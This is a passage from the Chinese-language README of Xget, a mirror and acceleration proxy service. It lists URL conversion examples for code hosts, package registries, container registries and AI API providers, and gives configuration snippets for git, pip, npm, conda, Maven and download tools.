https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip
```
#### SourceForge
```url
# 原始 URL
https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
# 轉換後(新增 sf 前綴)
https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
```
#### AOSP (Android 開源專案)
```url
# AOSP 專案原始 URL
https://android.googlesource.com/platform/frameworks/base
# 轉換後(新增 aosp 前綴)
https://xget.xi-xu.me/aosp/platform/frameworks/base
# AOSP 裝置樹原始 URL
https://android.googlesource.com/device/google/pixel
# 轉換後(新增 aosp 前綴)
https://xget.xi-xu.me/aosp/device/google/pixel
```
#### Hugging Face
```url
# 模型檔案原始 URL
https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# 轉換後(新增 hf 前綴)
https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# 資料集檔案原始 URL
https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
# 轉換後(新增 hf 前綴)
https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
```
#### Civitai
```url
# AI 模型下載原始 URL
https://civitai.com/api/download/models/128713
# 轉換後(新增 civitai 前綴)
https://xget.xi-xu.me/civitai/api/download/models/128713
# 模型 API 原始 URL
https://civitai.com/api/v1/models/7240
# 轉換後(新增 civitai 前綴)
https://xget.xi-xu.me/civitai/api/v1/models/7240
# 模型版本 API 原始 URL
https://civitai.com/api/v1/model-versions/128713
# 轉換後(新增 civitai 前綴)
https://xget.xi-xu.me/civitai/api/v1/model-versions/128713
```
#### npm
```url
# 軟體包檔案原始 URL
https://registry.npmjs.org/react/-/react-18.2.0.tgz
# 轉換後(新增 npm 前綴)
https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz
# 軟體包元資料原始 URL
https://registry.npmjs.org/lodash
# 轉換後(新增 npm 前綴)
https://xget.xi-xu.me/npm/lodash
```
#### PyPI
```url
# Python 軟體包檔案原始 URL
https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz
# 轉換後(新增 pypi 前綴)
https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz
# Wheel 檔案原始 URL
https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
# 轉換後(新增 pypi 前綴)
https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
```
#### conda
```url
# 預設頻道軟體包檔案原始 URL
https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# 轉換後(新增 conda 前綴)
https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# 社群頻道元資料原始 URL
https://conda.anaconda.org/conda-forge/linux-64/repodata.json
# 轉換後(新增 conda/community 前綴)
https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json
```
#### Maven
```url
# Maven 中央儲存庫 JAR 檔案原始 URL
https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# 轉換後(新增 maven 前綴)
https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# Maven 元資料原始 URL
https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
# 轉換後(新增 maven 前綴)
https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
```
#### Apache 軟體下載
```url
# Apache 軟體下載原始 URL
https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# 轉換後(新增 apache 前綴)
https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# Apache Maven 下載原始 URL
https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# 轉換後(新增 apache 前綴)
https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# Apache Spark 下載原始 URL
https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# 轉換後(新增 apache 前綴)
https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
```
#### Gradle
```url
# Gradle 外掛程式入口網站 JAR 檔案原始 URL
https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# 轉換後(新增 gradle 前綴)
https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# Gradle 外掛程式元資料原始 URL
https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
# 轉換後(新增 gradle 前綴)
https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
```
#### Homebrew
```url
# Homebrew 公式儲存庫原始 URL
https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# 轉換後(新增 homebrew 前綴)
https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# Homebrew API 原始 URL
https://formulae.brew.sh/api/formula/git.json
# 轉換後(新增 homebrew/api 前綴)
https://xget.xi-xu.me/homebrew/api/formula/git.json
# Homebrew Bottles 原始 URL
https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0
# 轉換後(新增 homebrew/bottles 前綴)
https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0
```
#### RubyGems
```url
# RubyGems 軟體包檔案原始 URL
https://rubygems.org/gems/rails-7.0.4.gem
# 轉換後(新增 rubygems 前綴)
https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem
# RubyGems API 原始 URL
https://rubygems.org/api/v1/gems/nokogiri.json
# 轉換後(新增 rubygems 前綴)
https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json
```
#### CRAN
```url
# CRAN 軟體包檔案原始 URL
https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz
# 轉換後(新增 cran 前綴)
https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz
# CRAN 軟體包元資料原始 URL
https://cran.r-project.org/web/packages/dplyr/DESCRIPTION
# 轉換後(新增 cran 前綴)
https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION
```
#### CPAN (Perl 軟體包管理)
```url
# CPAN 模組原始 URL
https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz
# 轉換後(新增 cpan 前綴)
https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz
# CPAN 作者軟體包原始 URL
https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
# 轉換後(新增 cpan 前綴)
https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
```
#### CTAN (TeX/LaTeX 軟體包管理)
```url
# CTAN 軟體包檔案原始 URL
https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip
# 轉換後(新增 ctan 前綴)
https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip
# CTAN 字體檔案原始 URL
https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
# 轉換後(新增 ctan 前綴)
https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
```
#### Go 模組
```url
# Go 模組代理原始 URL
https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip
# 轉換後(新增 golang 前綴)
https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip
# Go 模組資訊原始 URL
https://proxy.golang.org/github.com/gorilla/mux/@v/list
# 轉換後(新增 golang 前綴)
https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list
```
#### NuGet
```url
# NuGet 軟體包下載原始 URL
https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# 轉換後(新增 nuget 前綴)
https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# NuGet 軟體包元資料原始 URL
https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
# 轉換後(新增 nuget 前綴)
https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
```
#### Rust Crates
```url
# Crate 下載原始 URL
https://crates.io/api/v1/crates/serde/1.0.0/download
# 轉換後(新增 crates 前綴)
https://xget.xi-xu.me/crates/serde/1.0.0/download
# Crate 元資料原始 URL
https://crates.io/api/v1/crates/serde
# 轉換後(新增 crates 前綴)
https://xget.xi-xu.me/crates/serde
# Crate 搜尋原始 URL
https://crates.io/api/v1/crates?q=serde
# 轉換後(新增 crates 前綴)
https://xget.xi-xu.me/crates/?q=serde
```
#### Packagist
```url
# Packagist 軟體包元資料原始 URL
https://repo.packagist.org/p2/symfony/console.json
# 轉換後(新增 packagist 前綴)
https://xget.xi-xu.me/packagist/p2/symfony/console.json
# Packagist 軟體包清單原始 URL
https://repo.packagist.org/packages/list.json
# 轉換後(新增 packagist 前綴)
https://xget.xi-xu.me/packagist/packages/list.json
```
#### Flathub
```url
# Flathub 儲存庫原始 URL
https://dl.flathub.org/repo/summary
# 轉換後(新增 flathub 前綴)
https://xget.xi-xu.me/flathub/repo/summary
# Flathub 應用程式引用原始 URL
https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref
# 轉換後(新增 flathub 前綴)
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
```
#### Linux 發行版
```url
# Debian 軟體包原始 URL
https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# 轉換後(新增 debian 前綴)
https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# Ubuntu 軟體包原始 URL
https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# 轉換後(新增 ubuntu 前綴)
https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# Fedora 軟體包原始 URL
https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# 轉換後(新增 fedora 前綴)
https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# Rocky Linux 軟體包原始 URL
https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# 轉換後(新增 rocky 前綴)
https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# openSUSE 軟體包原始 URL
https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# 轉換後(新增 opensuse 前綴)
https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# Arch Linux 軟體包原始 URL
https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
# 轉換後(新增 arch 前綴)
https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
```
#### arXiv
```url
# arXiv 論文 PDF 原始 URL
https://arxiv.org/pdf/2301.07041.pdf
# 轉換後(新增 arxiv 前綴)
https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# arXiv 論文原始碼原始 URL
https://arxiv.org/e-print/2301.07041
# 轉換後(新增 arxiv 前綴)
https://xget.xi-xu.me/arxiv/e-print/2301.07041
```
#### F-Droid
```url
# F-Droid 應用程式 APK 原始 URL
https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk
# 轉換後(新增 fdroid 前綴)
https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# F-Droid 應用程式元資料原始 URL
https://f-droid.org/api/v1/packages/org.fdroid.fdroid
# 轉換後(新增 fdroid 前綴)
https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### Jenkins 外掛程式
```url
# Jenkins 更新中心原始 URL
https://updates.jenkins.io/update-center.json
# 轉換後(新增 jenkins 前綴)
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins 外掛程式下載原始 URL
https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# 轉換後(新增 jenkins 前綴)
https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
```
#### 容器註冊表
Xget 支援多個容器註冊表,使用 `cr/[容器註冊表前綴]` 格式:
| 容器註冊表 | 容器註冊表前綴 | 原始 URL 格式 | 加速 URL 格式 |
| -------------------- | -------------- | ------------------------------------------- | ------------------------------------------- |
| Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` |
| Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` |
| Google 容器註冊表 | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` |
| Microsoft 容器註冊表 | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` |
| Amazon Public ECR | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` |
| GitHub 容器註冊表 | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` |
| GitLab 容器註冊表 | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` |
| Red Hat 註冊表 | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` |
| Oracle 容器註冊表 | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` |
| Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` |
| DigitalOcean 註冊表 | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` |
| VMware 註冊表 | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` |
| Kubernetes 註冊表 | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` |
| Heroku 註冊表 | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` |
| SUSE 註冊表 | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` |
| openSUSE 註冊表 | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` |
| Gitpod 註冊表 | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` |
```url
# Docker Hub 原始 URL(官方鏡像)
https://registry-1.docker.io/v2/library/nginx/manifests/latest
# 轉換後(新增 cr/docker 前綴)
https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest
# Docker Hub 原始 URL(使用者鏡像)
https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# 轉換後(新增 cr/docker 前綴)
https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest
# GitHub 容器註冊表原始 URL
https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# 轉換後(新增 cr/ghcr 前綴)
https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest
# Google 容器註冊表原始 URL
https://gcr.io/v2/distroless/base/manifests/latest
# 轉換後(新增 cr/gcr 前綴)
https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest
```
應用場景見[容器鏡像加速](#容器鏡像加速)。
#### AI 推理供應商
Xget 支援眾多主流 AI 推理供應商的 API 加速,使用 `ip/[AI 推理供應商前綴]` 格式:
| AI 推理供應商 | AI 推理供應商前綴 | 原始 URL 格式 | 加速 URL 格式 |
| -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- |
| OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` |
| Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` |
| Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` |
| Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` |
| Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` |
| Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` |
| xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` |
| GitHub Models | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` |
| NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` |
| Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` |
| Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` |
| Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` |
| SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` |
| Siray | `siray` | `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` |
| HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` |
| Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` |
| Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` |
| Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` |
| Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` |
| Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` |
| Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` |
| Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` |
| Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` |
| Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` |
| OpenRouter | `openrouter` | `https://openrouter.ai/...` | `https://xget.xi-xu.me/ip/openrouter/...` |
| Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` |
| Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` |
| Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` |
```url
# OpenAI API 原始 URL
https://api.openai.com/v1/chat/completions
# 轉換後(新增 ip/openai 前綴)
https://xget.xi-xu.me/ip/openai/v1/chat/completions
# Claude API 原始 URL
https://api.anthropic.com/v1/messages
# 轉換後(新增 ip/anthropic 前綴)
https://xget.xi-xu.me/ip/anthropic/v1/messages
# Gemini API 原始 URL
https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent
# 轉換後(新增 ip/gemini 前綴)
https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent
# HF Inference API 原始 URL
https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3
# 轉換後(新增 ip/huggingface 前綴)
https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3
```
應用場景見 [AI 推理 API 加速](#ai-推理-api-加速)。
## 🎯 應用場景
### Git 操作與配置
#### Git 操作
```bash
# 克隆儲存庫
git clone https://xget.xi-xu.me/gh/microsoft/vscode.git
# 克隆指定分支
git clone -b main https://xget.xi-xu.me/gh/facebook/react.git
# 淺克隆(僅最新提交)
git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git
# 克隆 GitLab 儲存庫
git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git
# 克隆 Gitea 儲存庫
git clone https://xget.xi-xu.me/gitea/gitea/gitea.git
# 克隆 Codeberg 儲存庫
git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git
# 克隆 SourceForge 儲存庫
git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git
# 克隆 AOSP 儲存庫
git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git
# 新增遠端儲存庫
git remote add upstream https://xget.xi-xu.me/gh/[擁有者]/[儲存庫].git
# 拉取更新
git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main
# 子模組遞迴克隆
git clone --recursive https://xget.xi-xu.me/gh/[使用者名稱]/[帶子模組的儲存庫].git
```
#### Git 全域加速配置
```bash
# 為特定網域配置 Git 使用 Xget
git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/"
git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/"
git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/"
git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/"
git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/"
git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/"
# 驗證配置
git config --global --get-regexp url
# 現在所有相關平台的 git clone 都會自動使用 Xget
git clone https://github.com/microsoft/vscode.git # 自動轉換為 Xget URL
git clone https://gitlab.com/gitlab-org/gitlab.git # 自動轉換為 Xget URL
git clone https://codeberg.org/forgejo/forgejo.git # 自動轉換為 Xget URL
git clone https://android.googlesource.com/platform/frameworks/base.git # 自動轉換為 Xget URL
```
### 主流下載工具整合
#### wget 下載
```bash
# 下載單一檔案
wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# 斷點續傳
wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# 批次下載
wget -i urls.txt # urls.txt 包含多個 Xget URL
```
#### cURL 下載
```bash
# 基本下載
curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz
# 顯示進度列
curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin
# 設定 User-Agent
curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip
```
#### aria2 多執行緒下載
```bash
# 多執行緒下載大檔案
aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# 斷點續傳
aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# 批次下載設定檔
aria2c -i download-list.txt # 包含多個 Xget URL 的檔案
```
### Hugging Face 鏡像
```python
import os
from transformers import AutoTokenizer, AutoModelForCausalLM
# 設定環境變數,讓 transformers 庫自動使用 Xget 鏡像
os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'
# 定義模型名稱
model_name = 'microsoft/DialoGPT-medium'
print(f"正在從鏡像下載模型: {model_name}")
# 使用 AutoModelForCausalLM 來載入對話生成模型
# 由於上面設定了環境變數,這裡無需新增任何額外參數
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
print("模型和分詞器載入成功!")
# 您現在可以使用 tokenizer 和 model 了
# 例如:
# new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt')
# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)
# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))
```
### Civitai AI 模型平台
```python
import requests
# 設定 API 基礎 URL 使用 Xget
base_url = "https://xget.xi-xu.me/civitai"
# 獲取模型資訊
def get_model_info(model_id):
"""獲取 Civitai 模型資訊"""
url = f"{base_url}/api/v1/models/{model_id}"
response = requests.get(url)
return response.json()
# 下載模型
def download_model(model_version_id, output_path):
"""下載 Civitai 模型檔案"""
download_url = f"{base_url}/api/download/models/{model_version_id}"
print(f"正在下載模型版本 {model_version_id}...")
response = requests.get(download_url, stream=True)
response.raise_for_status()
with open(output_path, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"模型已下載到: {output_path}")
# 使用範例
model_id = 7240 # 範例模型 ID
model_info = get_model_info(model_id)
print(f"模型名稱: {model_info['name']}")
# 下載第一個模型版本
if model_info['modelVersions']:
version_id = model_info['modelVersions'][0]['id']
download_model(version_id, f"model_{version_id}.safetensors")
```
### npm 軟體包管理加速
#### 配置 npm 使用 Xget 鏡像
```bash
# 臨時使用 Xget 鏡像
npm install --registry https://xget.xi-xu.me/npm/
# 全域配置 npm 鏡像
npm config set registry https://xget.xi-xu.me/npm/
# 驗證配置
npm config get registry
```
#### 配置 Bun 使用 Xget 鏡像
```toml
# bunfig.toml(專案級)或 ~/.bunfig.toml(全域)
[install]
registry = "https://xget.xi-xu.me/npm/"
```
```bash
# 使用 Bun 安裝依賴項
bun install
# Bun 也支援 .npmrc,可直接重用既有的 npm 鏡像配置
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
bun install
```
#### 在專案中使用(npm / Bun)
```bash
# 在 .npmrc 檔案中配置專案級鏡像(npm / Bun 可重用)
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
# 使用 npm 安裝依賴項
npm install
# 使用 Bun 安裝依賴項
bun install
```
### Python 軟體包管理加速
#### 配置 pip 使用 Xget 鏡像
```bash
# 臨時使用 Xget 鏡像
pip install requests -i https://xget.xi-xu.me/pypi/simple/
# 全域配置 pip 鏡像
pip config set global.index-url https://xget.xi-xu.me/pypi/simple/
pip config set global.trusted-host xget.xi-xu.me
# 驗證配置
pip config list
```
#### 在專案中使用
```bash
# 建立 pip.conf 檔案(Linux/macOS)
mkdir -p ~/.pip
cat > ~/.pip/pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# 或在專案根目錄建立 pip.conf
cat > pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# 使用設定檔安裝
pip install -r requirements.txt --config-file pip.conf
```
#### 在 requirements.txt 中指定鏡像
```txt
# requirements.txt
--index-url https://xget.xi-xu.me/pypi/simple/
--trusted-host xget.xi-xu.me
requests>=2.25.0
numpy>=1.21.0
pandas>=1.3.0
matplotlib>=3.4.0
```
### conda 軟體包管理加速
#### 配置 conda 使用 Xget 鏡像
```bash
# 配置預設頻道鏡像
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main
# 配置所有社群頻道鏡像(推薦)
conda config --set channel_alias https://xget.xi-xu.me/conda/community
# 或配置特定社群頻道
conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge
conda config --add channels https://xget.xi-xu.me/conda/community/bioconda
# 設定頻道優先順序
conda config --set channel_priority strict
# 驗證配置
conda config --show
```
#### 在 .condarc 中配置
.condarc 檔案可以放在使用者主目錄(`~/.condarc`)或專案根目錄下:
```yaml
default_channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/pkgs/msys2
channel_alias: https://xget.xi-xu.me/conda/community
channel_priority: strict
show_channel_urls: true
```
#### 使用環境檔案
環境檔案中可以直接指定完整的鏡像 URL:
```yaml
# environment.yml
name: myproject
channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/community/bioconda
- https://xget.xi-xu.me/conda/community/conda-forge
dependencies:
- python=3.11
- numpy>=1.24.0
- pandas>=2.0.0
- matplotlib>=3.7.0
- scipy>=1.10.0
- pip
- pip:
- requests>=2.28.0
```
```bash
# 使用環境檔案建立環境
conda env create -f environment.yml
# 更新環境
conda env update -f environment.yml
```
### Maven 軟體包管理加速
#### 配置 Maven 使用 Xget 鏡像
```xml
xget-maven-central
central
Xget Maven Central Mirror
https://xget.xi-xu.me/maven/maven2
```
#### 在專案中使用
```xml
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
```
```bash
# 使用命令列指定鏡像
mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# 下載特定依賴項
mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \
-DremoteRepositories=https://xget.xi-xu.me/maven/maven2
```
### Apache 軟體下載加速
#### 使用 Xget 下載 Apache 軟體
```bash
# 下載 Apache Kafka
